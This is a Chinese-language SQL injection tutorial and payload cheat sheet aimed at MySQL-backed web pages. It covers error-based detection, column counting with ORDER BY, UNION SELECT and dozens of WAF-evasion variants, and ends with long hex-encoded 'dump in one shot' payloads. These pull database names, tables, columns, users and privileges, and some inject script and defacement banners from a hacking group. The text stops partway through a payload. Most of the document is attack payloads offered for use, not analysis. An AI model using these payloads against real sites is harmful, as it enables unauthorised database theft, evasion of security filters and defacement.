不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

基于 MySQL 错误的 SQL 注入

http://ip/index.php?id=1

网站加载成功

http://ip/index.php?id=1'

出现错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...

http://ip/index.php?id=1\’

出现错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...

http://ip/index.php?id=1 and 0' order by 1--+

网站加载成功

http://ip/index.php?id=2-1

网站加载成功

http://ip/index.php?id=-1'

错误信息再次出现

http://ip/index.php?id=-1)'

错误信息再次出现

http://ip/index.php?id=1'-- -

网站可能加载成功,但也可能显示错误

http://ip/index.php?id=1'--

网站可能加载成功,但也可能显示错误

http://ip/index.php?id=1+--+

网站可能加载成功,但也可能显示错误

绕过 WAF 来检测漏洞(如果第一种方法不起作用)

在某些情况下,WAF 不会让您在网站上造成错误,因此可能需要发送特殊查询来绕过 WAF。

http://ip/index.php?id=1'--/**/-

如果没有显示 WAF 警告并且网站加载,我们确认漏洞,否则尝试以下有效负载。

http//ip/index.php?id=/^.*1'--+-.*$/

http//ip/index.php?id=/*!500001'--+-*/

http//ip/index.php?id=1'--/**/-

http//ip/index.php?id=1'--/*--*/-

http//ip/index.php?id=1'--/*&a=*/-

http//ip/index.php?id=1'--/*1337*/-

http//ip/index.php?id=1'--/**_**/-

http//ip/index.php?id=1'--%0A-

http//ip/index.php?id=1'--%0b-

http//ip/index.php?id=1'--%0d%0A-

http//ip/index.php?id=1'--%23%0A-

http//ip/index.php?id=1'--%23foo%0D%0A-

http//ip/index.php?id=1'--%23foo*%2F*bar%0D%0A-

http//ip/index.php?id=1'--#qa%0A#%0A-

http//ip/index.php?id=/*!20000%0d%0a1'--+-*/

http//ip/index.php?id=/*!blobblobblob%0d%0a1'--+-*/

使用“ORDER BY”查询查找列数

现在我们对网站执行了 SQL 语法错误,我们可以开始 fuzzing 并使用 ORDER BY 查找我们有多少列

http://ip/index.php?id=1' order by 1-- -

此查询不能显示错误,因为没有小于 1 的数字

如果有效负载显示错误,请尝试设置负值:

http://ip/index.php?id=-1' order by 1-- -

此查询不能显示错误,因为没有小于 1 的数字

如果有效负载显示错误,请尝试删除可能导致 SQL 错误的引号:http://ip/index.php?id=605 order by 1– –

http://ip/index.php?id=-605 order by 1-- -

这两个查询都不能显示错误。如果错误仍然发生,请尝试以下有效负载:

如果两个有效载荷都不起作用,则可能是 WAF 阻止了它。尝试以下块,直到您不会看到 WAF 检测或 SQL 语法错误。

http://ip/index.php?id=1' order by 1 desc-- -   http://ip/index.php?id=1' group by 1-- -   http://ip/index.php?id=1' group by 1-- -   http://ip/index.php?id=1' /**/ORDER/**/BY/**/ 1-- -   http://ip/index.php?id=-1' /*!order*/+/*!by*/ 1-- -   http://ip/index.php?id=1' /*!ORDER BY*/ 1-- -   http://ip/index.php?id=1'/*!50000ORDER*//**//*!50000BY*/ 1-- -   http://ip/index.php?id=1' /*!12345ORDER*/+/*!BY*/ 1-- -   http://ip/index.php?id=1' /*!50000ORDER BY*/ 1-- -   http://ip/index.php?id=1' order/**_**/by 1-- -   http://ip/index.php?id=1\ order by 1-- -   http://ip/index.php?id=1' order by 1 asc-- -   http://ip/index.php?id=1' group by 1 asc-- -   http://ip/index.php?id=1' AND 0 order by 1-- -   http://ip/index.php?id=1%0Aorder%0Aby%0A1-- -   http://ip/index.php?id=1%23%0Aorder%23%0Aby%23%0A1-- -   http://ip/index.php?id=1%23aa%0Aorder%23aa%0Aby%23aa%0A1-- -   http://ip/index.php?id=1%23xyz%0Aorder%23xyz%0Aby%23xyz%0A1-- -   http://ip/index.php?id=1%23foo%0D%0Aorder%23foo%0D%0Aby%23foo%0D%0A1-- -   http://ip/index.php?id=1%23foo*%2F*bar%0D%0Aorder%23foo*%2F*bar%0D%0Aby%23foo*%2F*bar%0D%0A1-- -   http://ip/index.php?id=1/*!20000%0d%0a+order+by+*/1-- -   http://ip/index.php?id=1/*!blobblobblob%0d%0a+order+by+*/1-- -   http://ip/index.php?id=1/*!f****U%0d%0a+order+by+*/1-- -   - If none of the payloads didn't bypass WAF, try again the payloads by following the 2 rules below:   - Add a minus (-) before 1 (example: ```?id=-1' /**/ORDER/**/BY/**/ 1-- -```)     - Remove the quote (') after the parameter value (example: ```?id=1 /**/ORDER/**/BY/**/ 1-- -```)

        在这种情况下,有效负载?id=1 order by 1– -工作并且网站加载成功。现在是时候找到正确的列数了。现在让我们使用有效的有效载荷,并尝试将数字增加 1,直到出现错误:

http://ip/index.php?id=1 order by 1-- -没有错误 http://ip/index.php?id=1 order by 2-- - 没有错误 http://ip/index.php?id=1 order by 3-- - 没有错误 http://ip/index.php?id=1 order by 4-- - 没有错误 http://ip/index.php?id=1 order by 5-- - 错误: Unknown column '5' in 'order clause'Unknown column '5' in 'order clause'

这意味着只有 4 列。现在我们必须找出这 4 列中的哪一列有信息。

使用“UNION SELECT”查询查找存储信息的易受攻击的列

使用一个简单的查询,我们确定 4 列中的哪一列反映了我们使用的输入。这些有效载荷中只有 1 个将在没有语法错误的情况下运行。注意:如果没有工作,请尝试相同的有效负载,但删除数字 1 后的引号 (‘)。

http://ip/index.php?id=1' Union Select 1,2,3,4-- - http://ip/index.php?id=-1 Union Select 1,2,3,4-- - http://ip/index.php?id=-1' Union Select 1,2,3,4-- - http://ip/index.php?id=1'+UNION+ALL+SELECT+null,null,null,null--+- http://ip/index.php?id=1' Union Select null,2,3,4-- - http://ip/index.php?id=1' Union Select 1,null,3,4-- - http://ip/index.php?id=1' Union Select 1,2,null,4-- - http://ip/index.php?id=1' Union Select 1,2,3,null-- - http://ip/index.php?id=.1' Union Select 1,2,3,4-- - http://ip/index.php?id=-1' div 0' Union Select 1,2,3,4-- - http://ip/index.php?id=1' Union Select 1,2,3,4 desc-- - http://ip/index.php?id=1' AND 0 Union Select 1,2,3,4-- -

网站成功加载,我们会看到一个数字(在我们的例子中是 1-4)

如果查询不起作用,请尝试以下有效负载,直到看到数字(参考图片):

http://ip/index.php?id=1+UNION+SELECT+1,2,3,4--+- http://ip/index.php?id=1+UNION+ALL+SELECT+1,2,3,4--+- http://ip/index.php?id=1+UNION+ALL+SELECT+1,2,3,4--+- http://ip/index.php?id=1+UNION+ALL+SELECT+null,null,null,null--+- http://ip/index.php?id=1 UNION(SELECT(1),(2),(3),(4))-- - http://ip/index.php?id=1 +Union Distinctrow Select+1,2,3,4-- - http://ip/index.php?id=1+UNION+ALL+SELECT+13371,13372,13373,13374--+- http://ip/index.php?id=1+UNION+ALL+SELECT+1%2c2%2c3%2c4--+- http://ip/index.php?id=1 Union Select CHAR(49),CHAR(50),CHAR(51),CHAR(52)-- - http://ip/index.php?id=1 %23%0AUnion%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0ASelect%23%0A1,2,3,4-- -(缓冲 a * 300) http://ip/index.php?id=Union Select * from (select 1)a join(select 2)b join(select 3)c join(select 4)d-- -
- If the queries still doesn't show the vulnerable column number, it is probably the WAF blocking our queries. Let's try injection payloads which bypass it.   

http://ip/index.php?id=1 /*!50000%55nIoN*/ /*!50000%53eLeCt*/ 1,2,3,4-- -   http://ip/index.php?id=1 %55nion(%53elect 1,2,3) 1,2,3,4-- -   http://ip/index.php?id=1+union+distinctROW+select+1,2,3,4--+-   http://ip/index.php?id=1+ #?uNiOn + #?sEleCt 1,2,3,4-- -   http://ip/index.php?id=1 + #?1q %0AuNiOn all#qa%0A#%0AsEleCt 1,2,3,4-- -   http://ip/index.php?id=1 /*!%55NiOn*/ /*!%53eLEct*/ 1,2,3,4-- -   http://ip/index.php?id=1 +un/**/ion+se/**/lect 1,2,3,4-- -   http://ip/index.php?id=1 +?UnI?On?+'SeL?ECT? 1,2,3,4-- -   http://ip/index.php?id=1+(UnIoN)+(SelECT)+1,2,3,4--+-   http://ip/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- -   http://ip/index.php?id=1 %55nion(%53elect 1,2,3,4)-- -   http://ip/index.php?id=1 /**//*!12345UNION SELECT*//**/ 1,2,3,4-- -   http://ip/index.php?id=1 /**//*!50000UNION SELECT*//**/ 1,2,3,4-- -   http://ip/index.php?id=1 /**/UNION/**//*!50000SELECT*//**/ 1,2,3,4-- -   http://ip/index.php?id=1 /*!50000UniON SeLeCt*/ 1,2,3,4-- -   http://ip/index.php?id=1 union /*!50000%53elect*/ 1,2,3,4-- -   http://ip/index.php?id=1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4-- -   http://ip/index.php?id=1 /*--*/union/*--*/select/*--*/ 1,2,3,4-- -   http://ip/index.php?id=1 union (/*!/**/ SeleCT */ 1,2,3,4)-- -   http://ip/index.php?id=1 /*!union*/+/*!select*/ 1,2,3,4-- -   http://ip/index.php?id=1 /**/uNIon/**/sEleCt/**/ 1,2,3,4-- -   http://ip/index.php?id=1 +%2F**/+Union/*!select*/ 1,2,3,4-- -   http://ip/index.php?id=1 /**//*!union*//**//*!select*//**/ 1,2,3,4-- -   http://ip/index.php?id=1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4-- -   http://ip/index.php?id=1 /**/union/*!50000select*//**/ 1,2,3,4-- -   http://ip/index.php?id=1 0%a0union%a0select%09 1,2,3,4-- -   http://ip/index.php?id=1 %0Aunion%0Aselect%0A 1,2,3,4-- -   http://ip/index.php?id=1 uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- -   http://ip/index.php?id=1 %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/ 1,2,3,4-- -   http://ip/index.php?id=1 /*!union*//*--*//*!all*//*--*//*!select*/ 1,2,3,4-- -   http://ip/index.php?id=1 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C 1,2,3,4-- - http://ip/index.php?id=1 /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- -   http://ip/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- -   http://ip/index.php?id=1 union+sel%0bect 1,2,3,4-- -   http://ip/index.php?id=1 +#1q%0Aunion all#qa%0A#%0Aselect 1,2,3,4-- -   http://ip/index.php?id=1 %23xyz%0AUnIOn%23xyz%0ASeLecT+ 1,2,3,4-- -   http://ip/index.php?id=1 %23xyz%0A%55nIOn%23xyz%0A%53eLecT+ 1,2,3,4-- -   http://ip/index.php?id=1 union(select(1),2,3)-- -   http://ip/index.php?id=1 uNioN (/*!/**/ SeleCT */ 11) 1,2,3,4-- -   http://ip/index.php?id=1 /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/ 1,2,3,4-- -   http://ip/index.php?id=1 %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/ 1,2,3,4-- -   http://ip/index.php?id=1 +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C 1,2,3,4-- -   http://ip/index.php?id=1 /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/ 1,2,3,4-- -   http://ip/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- -   http://ip/index.php?id=1 +/*!UnIoN*/+/*!SeLeCt*/+ 1,2,3,4-- -   http://ip/index.php?id=1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4-- -   http://ip/index.php?id=1 uni%20union%20/*!select*/%20 1,2,3,4-- -   http://ip/index.php?id=1 union%23aa%0Aselect 1,2,3,4-- -   http://ip/index.php?id=1/**/union/*!50000select*/ 1,2,3,4-- -   http://ip/index.php?id=1 /^****union.*$/ /^****select.*$/ 1,2,3,4-- -   http://ip/index.php?id=1 /*union*/union/*select*/select+ 1,2,3,4-- -   http://ip/index.php?id=1 /*!50000UnION*//*!50000SeLeCt*/ 1,2,3,4-- -   http://ip/index.php?id=1 %252f%252a*/union%252f%252a /select%252f%252a*/ 1,2,3,4-- -   http://ip/index.php?id=1 AnD null UNiON SeLeCt 1,2,3,4;%00-- -   http://ip/index.php?id=1 AnD null UNiON SeLeCt 1,2,3,4+--+-   http://ip/index.php?id=1 And False Union Select 1,2,3,4+--+-

检索数据库用 DIOS 倾倒

DIOS(一次性转储)是一个精心设计的有效载荷,它将转储数据库()、表()和列(),并将其显示在网站上。下图是 DIOS 的运行情况:

以下是 MySQL DIOS 有效负载的列表:

concat/*!(0x223e,version(),(select(@)+from+(selecT(@:=0x00),(select(0)+from+(/*!information_Schema*/.columns)+where+(table_Schema=database())and(0x00)in(@:=concat/*!(@,0x3c62723e,table_name,0x3a3a,column_name))))x))*/ concat/*!(0x3c68323e20496e6a656374657220414c49454e205348414e553c2f68323e,0x3c62723e,version(),(Select(@)+from+(selecT(@:=0x00),(select(0)+from+(/*!information_Schema*/.columns)+where+(table_Schema=database())and(0x00)in(@:=concat/*!(@,0x3c62723e,table_name,0x3a3a,column_name))))x))*/ concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c696d67207372633d2268747470733a2f2f312e62702e626c6f6773706f742e636f6d2f2d456262354b36356f4a49552f56336171695854394671492f41414141414141414353452f76475977714c6c504f73733251574c376e335874794a5376515a2d367a41672d77434c63422f73313630302f486f77253242746f253242496e637265617365253242496e7465726e657425324242726f77736572732532425370656564253242696e25324255726475253242616e6425324248696e6469253242566964656f2532425475746f7269616c2e504e47223e3c666f6e7420636f6c6f723d7265642073697a653d353e3c623e4d722e73696c656e7420636f646572203c666f6e7420636f6c6f723d626c61636b2073697a653d343e2866336d6178293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c6669656c647365743e3c7374726f6e673e3c62723e3c63656e7465723e3c623e3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e20203c666f6e7420636f6c6f723d626c61636b3e,version(),0x7e20,@@version_comment,0x3c2f666f6e743e,0x3c62723e5072696d617279204461746162617365203c666f6e7420636f6c6f723d626c61636b3e20203a3a,@d:=database() ,0x3c2f666f6e743e ,0x3c62723e44617461626173652055736572203c666f6e7420636f6c6f723d626c61636b3e203a3a,user(),0x3c2f666f6e743e,0x3c2f623e3c62723e,(SELECT+GROUP_CONCAT(0x50726976696c656765732020203c666f6e7420636f6c6f723d626c61636b3e203a3a,GRANTEE,0x3a3a,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),0x3c2f63656e7465723e3c2f7374726f6e673e3c2f6669656c647365743e,(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c6669656c647365743e3c6c6567656e643e,0x3c623e3c666f6e7420636f6c6f723d626c61636b3e,'Table Name',0x3c2f6c6567656e643e3c2f666f6e743e3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name, 0x3c623e3c666f6e7420636f6c6f723d677265656e3e3a3a20446174616261736520203c666f6e7420636f6c6f723d626c61636b3e5b,database(),0x5d3c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e3c2f623e3c2f6669656c647365743e))))x)))))*/ concat(0x3c7363726970743e6e616d653d70726f6d70742822506c6561736520456e74657220596f7572204e616d65203a2022293b2075726c3d70726f6d70742822506c6561736520456e746572205468652055726c20796f7527726520747279696e6720746f20496e6a65637420616e6420777269746520276d616b6d616e2720617420796f757220496e6a656374696f6e20506f696e742c204578616d706c65203a20687474703a2f2f736974652e636f6d2f66696c652e7068703f69643d2d3420554e494f4e2053454c45435420312c322c332c636f6e6361742830783664363136622c6d616b6d616e292c352d2d2b2d204e4f5445203a204a757374207265706c61636520796f757220496e6a656374696f6e20706f696e742077697468206b6579776f726420276d616b6d616e2722293b3c2f7363726970743e,0x3c623e3c666f6e7420636f6c6f723d7265643e53514c69474f44732053796e746178205620312e30204279204d616b4d616e3c2f666f6e743e3c62723e3c62723e3c666f6e7420636f6c6f723d677265656e2073697a653d343e496e6a6563746564206279203c7363726970743e646f63756d656e742e7772697465286e616d65293b3c2f7363726970743e3c2f666f6e743e3c62723e3c7461626c6520626f726465723d2231223e3c74723e3c74643e44422056657273696f6e203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,version(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e2044422055736572203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,user(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e5072696d617279204442203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,database(),0x203c2f74643e3c2f74723e3c2f7461626c653e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e43686f6f73652061207461626c652066726f6d207468652064726f70646f776e206d656e75203a203c2f666f6e743e3c62723e,concat(0x3c7363726970743e66756e6374696f6e20746f48657828737472297b76617220686578203d27273b666f722876617220693d303b693c7374722e6c656e6774683b692b2b297b686578202b3d2027272b7374722e63686172436f646541742869292e746f537472696e67283136293b7d72657475726e206865783b7d66756e6374696f6e2072656469726563742873697465297b6d616b73706c69743d736974652e73706c697428222e22293b64626e616d653d6d616b73706c69745b305d3b74626c6e616d653d6d616b73706c69745b315d3b6d616b7265703d22636f6e636174284946284074626c3a3d3078222b746f4865782874626c6e616d65292b222c3078302c307830292c4946284064623a3d3078222b746f4865782864626e616d65292b222c3078302c307830292c636f6e6361742830783363373336333732363937303734336537353732366333643232222b746f4865782875726c292b2232323362336332663733363337323639373037343365292c636f6e63617428636f6e6361742830783363373336333732363937303734336536343632336432322c4064622c307832323362373436323663336432322c4074626c2c3078323233623363326637333633373236393730373433652c30783363363233653363363636663665373432303633366636633666373233643732363536343365323035333531346336393437346634343733323035333739366537343631373832303536323033313265333032303432373932303464363136623464363136653363326636363666366537343365336336323732336533633632373233653534363136323663363532303465363136643635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4074626c2c3078336332663636366636653734336532303636373236663664323036343631373436313632363137333635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4064622c307833633266363636663665373433653363363237323365346537353664363236353732323034663636323034333666366337353664366537333230336132303363363636663665373432303633366636633666373233643632366337353635336533633733363337323639373037343365363336663663363336653734336432322c2853454c45435420636f756e7428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d40646220616e64207461626c655f6e616d653d4074626c292c3078323233623634366636333735366436353665373432653737373236393734363532383633366636633633366537343239336233633266373336333732363937303734336533633266363636663665373433652c307833633632373233652c2873656c65637420284078292066726f6d202873656c656374202840783a3d30783030292c284063686b3a3d31292c202873656c656374202830292066726f6d2028696e666f726d6174696f6e5f736368656d612e636f6c756d6e732920776865726520287461626c655f736368656d613d3078222b746f4865782864626e616d65292b222920616e6420287461626c655f6e616d653d3078222b746f4865782874626c6e616d65292b222920616e642028307830302920696e202840783a3d636f6e6361745f777328307832302c40782c4946284063686b3d312c30783363373336333732363937303734336532303633366636633665363136643635323033643230366536353737323034313732373236313739323832393362323037363631373232303639323033643230333133622c30783230292c30783230363336663663366536313664363535623639356432303364323032322c636f6c756d6e5f6e616d652c307832323362323036393262326233622c4946284063686b3a3d322c307832302c30783230292929292978292c30783636366637323238363933643331336236393363336436333666366336333665373433623639326232623239376236343666363337353664363536653734326537373732363937343635323832323363363636663665373432303633366636633666373233643637373236353635366533653232326236393262323232653230336332663636366636653734336532323262363336663663366536313664363535623639356432623232336336323732336532323239336237643363326637333633373236393730373433652c636f6e6361742830783363363233652c307833633733363337323639373037343365373137353635373237393364323232323362363636663732323836393364333133623639336336333666366336333665373433623639326232623239376237313735363537323739336437313735363537323739326236333666366336653631366436353562363935643262323232633330373833323330333336313333363133323330326332323362376437353732366333643735373236633265373236353730366336313633363532383232323732323263323232353332333732323239336236343664373037313735363537323739336437353732366332653732363537303663363136333635323832323664363136623664363136653232326332323238373336353663363536333734323834303239323036363732366636643238373336353663363536333734323834303361336433303738333033303239323032633238373336353663363536333734323032383430323932303636373236663664323832323262363436323262323232653232326237343632366332623232323937373638363537323635323834303239323036393665323032383430336133643633366636653633363137343566373737333238333037383332333032633430326332323262373137353635373237393262323233303738333336333336333233373332333336353239323932393239363132393232323933623634366636333735366436353665373432653737373236393734363532383232336336313230363837323635363633643237323232623634366437303731373536353732373932623232323733653433366336393633366232303438363537323635323037343666323034343735366437303230373436383639373332303737363836663663363532303534363136323663363533633631336532323239336233633266373336333732363937303734336529292929223b75726c3d75726c2e7265706c616365282227222c2225323722293b75726c706173313d75726c2e7265706c61636528226d616b6d616e222c6d616b726570293b77696e646f772e6f70656e2875726c70617331293b7d3c2f7363726970743e3c73656c656374206f6e6368616e67653d22726564697265637428746869732e76616c756529223e3c6f7074696f6e2076616c75653d226d6b6e6f6e65222073656c65637465643e43686f6f73652061205461626c653c2f6f7074696f6e3e,(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c6f7074696f6e2076616c75653d22,UNHEX(HEX(table_schema)),0x2e,UNHEX(HEX(table_name)),0x223e,UNHEX(HEX(concat(0x4461746162617365203a3a20,table_schema,0x203a3a205461626c65203a3a20,table_name))),0x3c2f6f7074696f6e3e))))x),0x3c2f73656c6563743e),0x3c62723e3c62723e3c62723e3c62723e3c62723e) concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e) (select+concat(0x3c666f6e7420666163653d43616d627269612073697a653d323e72306f74404833583439203a3a20,version(),0x3c666f6e7420636f6c6f723d7265643e3c62723e,0x446174616261736573203a7e205b,(Select+count(Schema_name)from(information_Schema.schemata)),0x5d3c62723e5461626c6573203a7e205b,(Select+count(table_name)from(information_schema.tables)),0x5d3c62723e436f6c756d6e73203a7e205b,(Select+count(column_name)from(information_Schema.columns)),0x5d3c62723e,@)from(select(@:=0x00),(@db:=0),(@db_nr:=0),(@tbl:=0),(@tbl_nr:=0),(@col_nr:=0),(select(@)from(information_Schema.columns)where(@)in(@:=concat(@,if((@db!=table_schema),concat((@tbl_nr:=0x00),0x3c666f6e7420636f6c6f723d7265643e,LPAD(@db_nr:=@db_nr%2b1,2,0x20),0x2e20,@db:=table_schema,0x2020202020203c666f6e7420636f6c6f723d707572706c653e207b205461626c6573203a7e205b,(Select+count(table_name)from(information_schema.tables)where(table_schema=@db)),0x5d7d203c2f666f6e743e3c2f666f6e743e),0x00),if((@tbl!=table_name),concat((@col_nr:=0x00),0x3c646976207374796c653d70616464696e672d6c6566743a343070783b3e3c666f6e7420636f6c6f723d626c75653e202020,LPAD(@tbl_nr:=@tbl_nr%2b1,3,0x0b), 0x2e20,@tbl:=table_name,0x20202020203c666f6e7420636f6c6f723d707572706c653e2020207b2020436f6c756d6e73203a7e20205b,(Select+count(column_name)from(information_Schema.columns)where(table_name=@tbl)),0x5d202f203c666f6e7420636f6c6f723d626c61636b3e205265636f726473203a7e205b,(Select+ifnull(table_rows,0x30)+from+information_schema.tables+where+table_name=@tbl),0x5d207d3c2f666f6e743e3c2f666f6e743e3c2f666f6e743e3c2f6469763e),0x00),concat(0x3c646976207374796c653d70616464696e672d6c6566743a383070783b3e3c666f6e7420636f6c6f723d677265656e3e,LPAD(@col_nr:=@col_nr%2b1,3,0x0b),0x2e20,column_name,0x3c2f666f6e743e3c2f6469763e)))))x)

以下是 DIOS 有效负载列表(WAF 绕过):

/*!50000ConCAt*//**/(0x3c63656e7465723e3c696d67207372633d2268747470733a2f2f692e6962622e636f2f59666b4d4d6d342f4d43532e706e67222077696474683d2233353022206865696768743d22333530223e,0x3c63656e7465723e3c666f6e7420636f6c6f723d626c75652073697a653d343e3c623e3c696e733e3c6c6567656e64207374796c653d22636f6c6f723a7265643b223e3e2d3d3e20496e6a656374656420427920416c69656e205368616e75207c204d616c6c7520437962657220536f6c6469657273203c3d2d3c203c2f6c6567656e643e3c2f696e733e3c6d61726b3e3c666f6e7420636f6c6f723d626c75653e7b204d4353207d3c2f666f6e743c2f6d61726b3e203c2f666f6e743e3c2f63656e7465723e3c2f623e3c62723e3c6d617271756565206265686176696f723d227363726f6c6c2220646972656374696f6e3d22766572746963616c22207363726f6c6c616d6f756e743d22313022207363726f6c6c64656c61793d223630222077696474683d2231303025223e202d2d3e204d414c4c5520435942455220534f4c444945525320212121203c2d2d203c2f666f6e743e3c623e3c2f623e3c2f6d6172717565653e3c2f666f6e743e3c62723e3c62723e,0x3c63656e7465723e3c68333e3c666f6e7420636f6c6f723d22726564223e56657273696f6e203a3a3a,version/***/(),0x3c62723e,0x55736572203a3a3a,user/**/(),0x3c62723e,0x6461746162617365203a3a3a,database/**/(),0x3c62723e,0x55554944204b657973203a3a3a,UUID/**/(),0x3c62723e,0x546d70646972203a3a3a,@@tmpdir/**/,0x3c62723e,0x64617461646972203a3a3a,@@datadir/**/,0x3c62723e,0x62617365646972203a3a3a,@@basedir/**/,0x3c62723e,0x53796d6c696e6b203a3a3a,@@GLOBAL.have_symlink/**/,0x3c62723e,0x53534c203a3a3a,@@GLOBAL.have_ssl/**/,0x3c62723e,0x706f7274203a3a3a,@@port/**/,0x3c62723e,0x736f636b6574203a3a3a,@@SOCKET/**/,0x3c62723e,0x706c7567696e646972203a3a3a,@@PLUGIN_DIR/***/,0x3c62723e7761697474696d656f7574203a3a3a,@@WAIT_TIMEOUT/***/,0x3c62723e747970656f73203a3a3a,@@VERSION_COMPILE_MACHINE/**/,0x3c62723e736572766572206f73203a3a3a,@@VERSION_COMPILE_OS/**/,0x3c62723e736574646972203a3a3a,@@CHARACTER_SETS_DIR/**/,0x3c62723e7265636f7665726f7074696f6e73203a3a3a,@@MYISAM_RECOVER_OPTIONS/**/,0x3c62723e636f6e6e656374696f6e203a3a3a,@@COLLATION_CONNECTION/**/,0x3c62723e6572726f726c6f67203a3a3a,@@LOG_ERROR/*_**/,0x3c62723e486f73746e616d65203a3a3a,@@hostname,0x3c62723e,0x3c696e733e3c64656c3e7b3c7375703e414c21334e3c2f7375703e204d414c4c5520435942455220534f4c44494552533c7375703e5348414e553c2f7375703e207d3c2f64656c3e3c2f696e733e3c2f666f6e743e,0x3c63656e7465723e3c68333e3c666f6e7420636f6c6f723d22726564223e416c69656e205368616e7520c2a920323031393c2f666f6e743e3c2f68333e3c68333e3c7072653e3c666f6e7420636f6c6f723d22626c7565223e7c204d43537c3c2f7072653e3c2f68333e2093c68333e3c7072653e3c666f6e7420636f6c6f723d22677265656e223e207c204d616c6c7520437962657220536f6c64696572737c3c2f666f6e743e3c2f7072653e3c2f68333e2093c68333e3c7072653e3c666f6e7420636f6c6f723